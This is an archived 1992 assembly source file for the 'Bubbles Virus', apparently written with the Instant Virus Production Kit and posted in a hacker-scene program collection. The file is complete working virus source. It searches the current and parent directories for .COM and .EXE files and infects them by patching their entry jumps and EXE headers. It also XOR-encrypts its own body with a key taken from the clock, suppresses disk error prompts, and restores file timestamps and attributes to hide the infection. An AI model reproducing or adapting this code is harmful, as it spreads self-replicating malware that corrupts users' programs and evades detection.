home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / IVUPDAT2.ZIP / IVPBUBB1.ZIP / BUBBLES1.ASM next >
Assembly Source File  |  1992-12-03  |  16KB  |  376 lines

  1. ;---------
  2. ;  Bubbles Virus written by Admiral Bailey
  3. ;  Using The Instant Virus Production Kit By Admiral Bailey
  4. ;  To compile this use TASM /M BUBBLES.ASM
  5. ;---------
  6.  
  7.  
  8. code    segment public 'code'
  9.         assume  cs:code
  10.         org     100h                              ; All .COM files start here
  11.  
  12. ID = 'AB'                                         ; Id for infected files
  13.  
  14. start:
  15.         db 0e9h,0,0                               ; Jump to the next command
  16.  
  17. virus:
  18.         call    realcode                          ; Push current location on stack
  19. realcode:
  20.         nop
  21.         nop
  22.         nop
  23.         nop
  24.         nop
  25.         pop     bp                                ; Get location off stack
  26.         sub     bp,offset realcode                ; Adjust it for our pointer
  27.         nop
  28.         nop
  29.         nop
  30.         nop
  31.         call    encrypt_decrypt                   ; Decrypt the virus first
  32.  
  33. encrypt_start   equ     $                         ; From here is encrypted
  34.  
  35.         cmp     sp,id                             ; COM or EXE?
  36.         je      restoreEXE
  37.  
  38.         lea     si,[bp+offset oldjump]            ; Location of old jump in si
  39.         mov     di,100h                           ; Location of where to put it in di
  40.         push    di                                ; Save so we could just return when done
  41.         movsb                                     ; Move a byte
  42.         movsw                                     ; Move a word
  43.         jmp     exitrestore
  44.  
  45. restoreEXE:
  46.         push    ds                                ; Save ExE ds
  47.         push    es                                ; Save ExE es
  48.         push    cs
  49.         pop     ds                                ; DS now equals CS
  50.         push    cs
  51.         pop     es                                ; ES now equals CS
  52.         lea     si,[bp+jmpsave2]
  53.         lea     di,[bp+jmpsave]
  54.         movsw                                     ; Move a word
  55.         movsw                                     ; Move a word
  56.         movsw                                     ; Move a word
  57.         movsw                                     ; Move a word
  58.  
  59. ExitRestore:
  60.         lea     dx,[bp+offset dta]                ; Where to put New DTA
  61.         call    set_DTA                           ; Move it
  62.  
  63.         mov     ax,3524h                          ; Get int 24 handler
  64.         int     21h                               ; To ES:BX
  65.         mov     word ptr [bp+oldint24],bx         ; Save it
  66.         mov     word ptr [bp+oldint24+2],es
  67.  
  68.         mov     ah,25h                            ; Set new int 24 handler
  69.         lea     dx,[bp+offset int24]              ; DS:DX->new handler
  70.         int     21h
  71.  
  72.         push    cs                                ; Restore ES
  73.         pop     es                                ; 'cuz it was changed
  74.  
  75.         mov     ah,47h                            ; Get the current directory
  76.         mov     dl,0h                             ; On current drive
  77.         lea     si,[bp+offset currentdir]         ; Where to keep it
  78.         int     21h
  79.  
  80. dirloop:
  81.         lea     dx,[bp+offset exefilespec]
  82.         call    findfirst
  83.         lea     dx,[bp+offset comfilespec]
  84.         call    findfirst
  85.  
  86.         lea     dx,[bp+offset directory]          ; Where to change too '..'
  87.         mov     ah,3bh                            ; Change directory
  88.         int     21h
  89.         jnc     dirloop                           ; If no problems the look for files
  90.  
  91.         mov     ah,9                              ; Display string
  92.         lea     dx,[bp+virusname]
  93.         int     21h
  94.  
  95.         mov     ax,2524h                          ; Restore int 24 handler
  96.         lds     dx,[bp+offset oldint24]           ; To original
  97.         int     21h
  98.  
  99.         push    cs
  100.         pop     ds                                ; Do this because the DS gets changed
  101.  
  102.         lea     dx,[bp+offset currentdir]         ; Location Of original dir
  103.         mov     ah,3bh                            ; Change to there
  104.         int     21h
  105.  
  106.         mov     dx,80h                            ; Location of original DTA
  107.         call    set_dta                           ; Put it back there
  108.  
  109.         cmp     sp,id-4                           ; EXE or COM?
  110.         jz      returnEXE
  111.  
  112.         retn                                      ; Return to 100h to original jump
  113.  
  114. ReturnEXE:
  115.         pop     es                                ; Get original ES
  116.         pop     ds                                ; Get original DS
  117.  
  118.         mov     ax,es
  119.         add     ax,10h
  120.         add     word ptr cs:[bp+jmpsave+2],ax
  121.         add     ax,word ptr cs:[bp+stacksave+2]
  122.         cli                                       ; Clear int's because of stack manipulation
  123.         mov     sp,word ptr cs:[bp+stacksave]
  124.         mov     ss,ax
  125.         sti
  126.         db      0eah                              ; Jump ssss:oooo
  127. jmpsave dd      ?                                 ; Jump location
  128. stacksave dd    ?                                 ; Original cs:ip
  129. jmpsave2 dd     0fff00000h                        ; Used with carrier file
  130. stacksave2 dd   ?
  131.  
  132. findfirst:
  133.         mov     ah,4eh                            ; Find first file
  134.         mov     cx,7                              ; Find all attributes
  135.  
  136. findnext:
  137.         int     21h                               ; Find first/next file int
  138.         jc      quit                              ; If none found then change dir
  139.  
  140.         call    infection                         ; Infect that file
  141.  
  142. Findnext2:
  143.         mov     ah,4fh                            ; Find next file
  144.         jmp     findnext                          ; Jump to the loop
  145.  
  146. quit:
  147.         ret
  148.  
  149. infection:
  150.         mov     ax,3d00h                          ; Open file for read only
  151.         call    open
  152.  
  153.         mov     ah,3fh                            ; Read from file
  154.         mov     cx,1ah
  155.         lea     dx,[bp+offset buffer]             ; Location to store them
  156.         int     21h
  157.  
  158.         mov     ah,3eh                            ; Close file
  159.         int     21h
  160.  
  161.         cmp     word ptr [bp+buffer],'ZM'         ; EXE?
  162.         jz      checkEXE                          ; Why yes, yes it is!
  163.         mov     ax,word ptr [bp+DTA+35]           ; Get end of file name in ax
  164.         cmp     ax,'DN'                           ; Does End in comma'ND'? (reverse order)
  165.         jz      quitinfect                        ; Yup so get another file
  166.  
  167. CheckCom:
  168.         mov     bx,[bp+offset dta+1ah]            ; Get file size
  169.         mov     cx,word ptr [bp+buffer+1]         ; Get jump loc of file
  170.         add     cx,eof-virus+3                    ; Add for virus size
  171.  
  172.         cmp     bx,cx                             ; Does file size=file jump+virus size
  173.         jz      quitinfect                        ; Yup then get another file
  174.         jmp     infectcom
  175.  
  176. CheckExe:
  177.         cmp     word ptr [bp+buffer+10h],id       ; Check EXE for infection
  178.         jz      quitinfect                        ; Already infected so close up
  179.         jmp     infectexe
  180.  
  181. quitinfect:
  182.         ret
  183.  
  184. InfectCom:
  185.         sub     bx,3                              ; Adjust for new jump
  186.         lea     si,[bp+buffer]
  187.         lea     di,[bp+oldjump]
  188.         movsw
  189.         movsb
  190.         mov     [bp+buffer],byte ptr 0e9h
  191.         mov     word ptr [bp+buffer+1],bx         ; Save for later
  192.  
  193.         mov     cx,3                              ; Number of bytes to write
  194.  
  195.         jmp     finishinfection
  196. InfectExe:
  197.         les     ax,dword ptr [bp+buffer+14h]      ; Load es with seg address
  198.         mov     word ptr [bp+jmpsave2],ax         ; save old cs:ip
  199.         mov     word ptr [bp+jmpsave2+2],es
  200.  
  201.         les     ax,dword ptr [bp+buffer+0eh]      ; save old ss:sp
  202.         mov     word ptr [bp+stacksave2],es       ; save old cs:ip
  203.         mov     word ptr [bp+stacksave2+2],ax
  204.  
  205.         mov     ax, word ptr [bp+buffer+8]        ; get header size
  206.         mov     cl,4
  207.         shl     ax,cl
  208.         xchg    ax,bx
  209.         les     ax,[bp+offset DTA+26]             ; get files size from dta
  210.         mov     dx,es                             ; its now in dx:ax
  211.         push    ax                                ; save these
  212.         push    dx
  213.  
  214.         sub     ax,bx                             ; subtract header size from fsize
  215.         sbb     dx,0                              ; subtract the carry too
  216.         mov     cx,10h                            ; convert to segment:offset form
  217.         div     cx
  218.  
  219.         mov     word ptr [bp+buffer+14h],dx       ; put in new header
  220.         mov     word ptr [bp+buffer+16h],ax       ; cs:ip
  221.  
  222.         mov     word ptr [bp+buffer+0eh],ax       ; ss:sp
  223.         mov     word ptr [bp+buffer+10h],id       ; put id in for later
  224.         pop     dx                                ; get the file length back
  225.         pop     ax
  226.  
  227.         add     ax,eof-virus                      ; add virus size
  228.         adc     dx,0                              ; add with carry
  229.  
  230.         mov     cl,9                              ; calculates new file size
  231.         push    ax
  232.         shr     ax,cl
  233.         ror     dx,cl
  234.         stc
  235.         adc     dx,ax
  236.         pop     ax
  237.         and     ah,1
  238.  
  239.         mov     word ptr [bp+buffer+4],dx         ; save new file size in header
  240.         mov     word ptr [bp+buffer+2],ax
  241.  
  242.         push    cs                                ; es = cs
  243.         pop     es
  244.  
  245.         mov     cx,1ah                            ; Number of bytes to write (Header)
  246. FinishInfection:
  247.         push    cx                                ; save # of bytes to write
  248.         xor     cx,cx                             ; Set attriutes to none
  249.         call    attributes
  250.  
  251.         mov     al,2                              ; open file read/write
  252.         call    open
  253.  
  254.         mov     ah,40h                            ; Write to file
  255.         lea     dx,[bp+buffer]                    ; Location of bytes
  256.         pop     cx                                ; Get number of bytes to write
  257.         int     21h
  258.         jc      closefile
  259.  
  260.         mov     al,02                             ; Move Fpointer to eof
  261.         Call    move_fp
  262.  
  263. get_time:
  264.         mov     ah,2ch                            ; Get time for our encryption value
  265.         int     21h
  266.         cmp     dh,0                              ; If its seconds are zere get another
  267.         je      get_time
  268.         mov     [bp+enc_value],dh                 ; Use seconds value for encryption
  269.         call    encrypt_infect                    ; Encrypt and infect the file
  270. closefile:
  271.         mov     ax,5701h                          ; Set files date/time back
  272.         mov     cx,word ptr [bp+dta+16h]          ; Get old time from dta
  273.         mov     dx,word ptr [bp+dta+18h]          ; Get old date
  274.         int     21h
  275.  
  276.         mov     ah,3eh                            ; Close file
  277.         int     21h
  278.  
  279.         xor     cx,cx
  280.         mov     cl,byte ptr [bp+dta+15h]          ; Get old Attributes
  281.         call    attributes
  282.  
  283.         retn
  284.  
  285. move_fp:
  286.         mov     ah,42h                            ; Move file pointer
  287.         xor     cx,cx                             ; Al has location
  288.         xor     dx,dx                             ; Clear these
  289.         int     21h
  290.         retn
  291.  
  292. set_dta:
  293.         mov     ah,1ah                            ; Move the DTA location
  294.         int     21h
  295.         retn
  296.  
  297. open:
  298.         mov     ah,3dh                            ; open file
  299.         lea     dx,[bp+DTA+30]                    ; filename in DTA
  300.         int     21h
  301.         xchg    ax,bx                             ; file handle in bx
  302.         ret
  303.  
  304. attributes:
  305.         mov     ax,4301h                          ; Set attributes to cx
  306.         lea     dx,[bp+DTA+30]                    ; filename in DTA
  307.         int     21h
  308.         ret
  309. int24:                                            ; New int 24h (error) handler
  310.         mov     al,3                              ; Fail call
  311.         iret                                      ; Return from int 24 call
  312.  
  313. Virusname db 'Bubbles Virus',10,13                ; Name Of The Virus
  314. Author    db 'Admiral Bailey',10,13               ; Author Of This Virus
  315. Made_with db '[IVP]',10,13,'$'                    ; Please do not remove this
  316.  
  317. comfilespec  db  '*.com',0                        ; Holds type of file to look for
  318. exefilespec  db  '*.exe',0                        ; Holds type of file to look for
  319. directory    db '..',0                            ; Directory to change to
  320. oldjump      db  0cdh,020h,0h                     ; Old jump.  Is int 20h for file quit
  321.  
  322. encrypt_infect:
  323.         lea     si,[bp+offset move_begin]         ; Location of where to move from
  324.         lea     di,[bp+offset workarea]           ; Where to move it too
  325.         mov     cx,move_end-move_begin            ; Number of bytes to move
  326. move_loop:
  327.         movsb                                     ; Moves this routine into heap
  328.         loop    move_loop
  329.         lea     dx,[bp+offset workarea]
  330.         call    dx                                ; Jump to that routine just moved
  331.         ret
  332.  
  333. move_begin    equ     $                           ; Marks beginning of move
  334.         push    bx                                ; Save the file handle
  335.         lea     dx,[bp+offset encrypt_end]
  336.         call    dx                                ; Call the encrypt_decrypt procedure
  337.         pop     bx                                ; Get handle back in bx and return
  338.         mov     ah,40h                            ; Write to file
  339.         mov     cx,eof-virus                      ; Number of bytes
  340.         lea     dx,[bp+offset virus]              ; Where to write from
  341.         int     21h
  342.         push    bx                                ; Save the file handle
  343.         lea     dx,[bp+offset encrypt_end]
  344.         call    dx                                ; Decrypt the file and return
  345.         pop     bx                                ; Get handle back in bx and return
  346.         ret
  347. move_end      equ     $                           ; Marks the end of move
  348.  
  349. encrypt_end   equ     $                           ; Marks the end of encryption
  350.  
  351. encrypt_decrypt:
  352.         lea     bx,[bp+encrypt_start]             ; Where to start encryption
  353.         mov     cx,encrypt_end-encrypt_start      ; Number of bytes to encrypt
  354.         mov     dh,[bp+enc_value]                 ; Value to use for encryption
  355. encrypt_loop:
  356.         mov     ah,cs:[bx]                        ; Get a byte in ah
  357.         xor     ah,dh                             ; Xor it
  358.         mov     cs:[bx],ah                        ; Put it back
  359.         inc     bx                                ; Move to next byte and loop
  360.         loop    encrypt_loop
  361.         ret
  362.  
  363. enc_value     db    00h                           ; Hold the encryption value 00 for nul effect
  364.  
  365. eof     equ     $                                 ; Marks the end of file
  366.  
  367. workarea db     move_end-move_begin dup (?)       ; Holds the encrypt_infect routine
  368. currentdir db   64 dup (?)                        ; Holds the current dir
  369. dta     db      42 dup (?)                        ; Location of new DTA
  370. buffer db 1ah dup (?)                             ; Holds exe header
  371. oldint24 dd ?                                     ; Storage for old int 24h handler
  372.  
  373. code    ends
  374.         end     start
  375.  
  376.